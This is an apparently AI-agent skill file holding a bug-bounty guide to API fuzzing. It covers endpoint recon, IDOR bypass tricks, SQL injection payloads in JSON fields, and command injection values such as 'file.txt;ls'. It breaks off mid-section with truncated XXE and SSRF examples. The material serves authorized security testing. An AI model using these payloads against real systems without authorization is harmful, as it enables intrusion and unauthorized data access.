{"id":"67edb2bf-d737-4173-bbfd-fa5dfdc8083e","shortId":"8N3vFS","kind":"skill","title":"api-fuzzing-bug-bounty","tagline":"Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.","description":"> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.\n\n# API Fuzzing for Bug Bounty\n\n## Purpose\n\nProvide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.\n\n## Inputs/Prerequisites\n\n- Burp Suite or similar proxy tool\n- API wordlists (SecLists, api_wordlist)\n- Understanding of REST/GraphQL/SOAP protocols\n- Python for scripting\n- Target API endpoints and documentation (if available)\n\n## Outputs/Deliverables\n\n- Identified API vulnerabilities\n- IDOR exploitation proofs\n- Authentication bypass techniques\n- SQL injection points\n- Unauthorized data access documentation\n\n---\n\n## API Types Overview\n\n| Type | Protocol | Data Format | Structure |\n|------|----------|-------------|-----------|\n| SOAP | HTTP | XML | Header + Body |\n| REST | HTTP | JSON/XML/URL | Defined endpoints |\n| GraphQL | HTTP | Custom Query | Single endpoint |\n\n---\n\n## Core Workflow\n\n### Step 1: API Reconnaissance\n\nIdentify API type and enumerate endpoints:\n\n```bash\n# Check for Swagger/OpenAPI documentation\n/swagger.json\n/openapi.json\n/api-docs\n/v1/api-docs\n/swagger-ui.html\n\n# Use Kiterunner for API discovery\nkr scan https://target.com -w routes-large.kite\n\n# Extract paths from Swagger\npython3 json2paths.py swagger.json\n```\n\n### Step 2: Authentication Testing\n\n```bash\n# Test different login paths\n/api/mobile/login\n/api/v3/login\n/api/magic_link\n/api/admin/login\n\n# Check rate limiting on auth endpoints\n# If no rate limit → brute force possible\n\n# Test mobile vs web API separately\n# Don't assume same security controls\n```\n\n### Step 3: IDOR Testing\n\nInsecure Direct Object Reference is the most common API vulnerability:\n\n```bash\n# Basic IDOR\nGET /api/users/1234 → GET /api/users/1235\n\n# Even if ID is email-based, try numeric\n/?user_id=111 instead of /?user_id=user@mail.com\n\n# Test /me/orders vs /user/654321/orders\n```\n\n**IDOR Bypass Techniques:**\n\n```bash\n# Wrap ID in array\n{\"id\":111} → {\"id\":[111]}\n\n# JSON wrap\n{\"id\":111} → {\"id\":{\"id\":111}}\n\n# Send ID twice\nURL?id=&id=\n\n# Wildcard injection\n{\"user_id\":\"*\"}\n\n# Parameter pollution\n/api/get_profile?user_id=&user_id=\n{\"user_id\":,\"user_id\":}\n```\n\n### Step 4: Injection Testing\n\n**SQL Injection in JSON:**\n\n```json\n{\"id\":\"56456\"} → OK\n{\"id\":\"56456 AND 1=1#\"} → OK \n{\"id\":\"56456 AND 1=2#\"} → OK\n{\"id\":\"56456 AND 1=3#\"} → ERROR (vulnerable!)\n{\"id\":\"56456 AND sleep(15)#\"} → SLEEP 15 SEC\n```\n\n**Command Injection:**\n\n```bash\n# Ruby on Rails\n?url=Kernel#open → ?url=|ls\n\n# Linux command injection\napi.url.com/endpoint?name=file.txt;ls%20/\n```\n\n**XXE Injection:**\n\n```xml\n ]>\n```\n\n**SSRF via API:**\n\n```html\n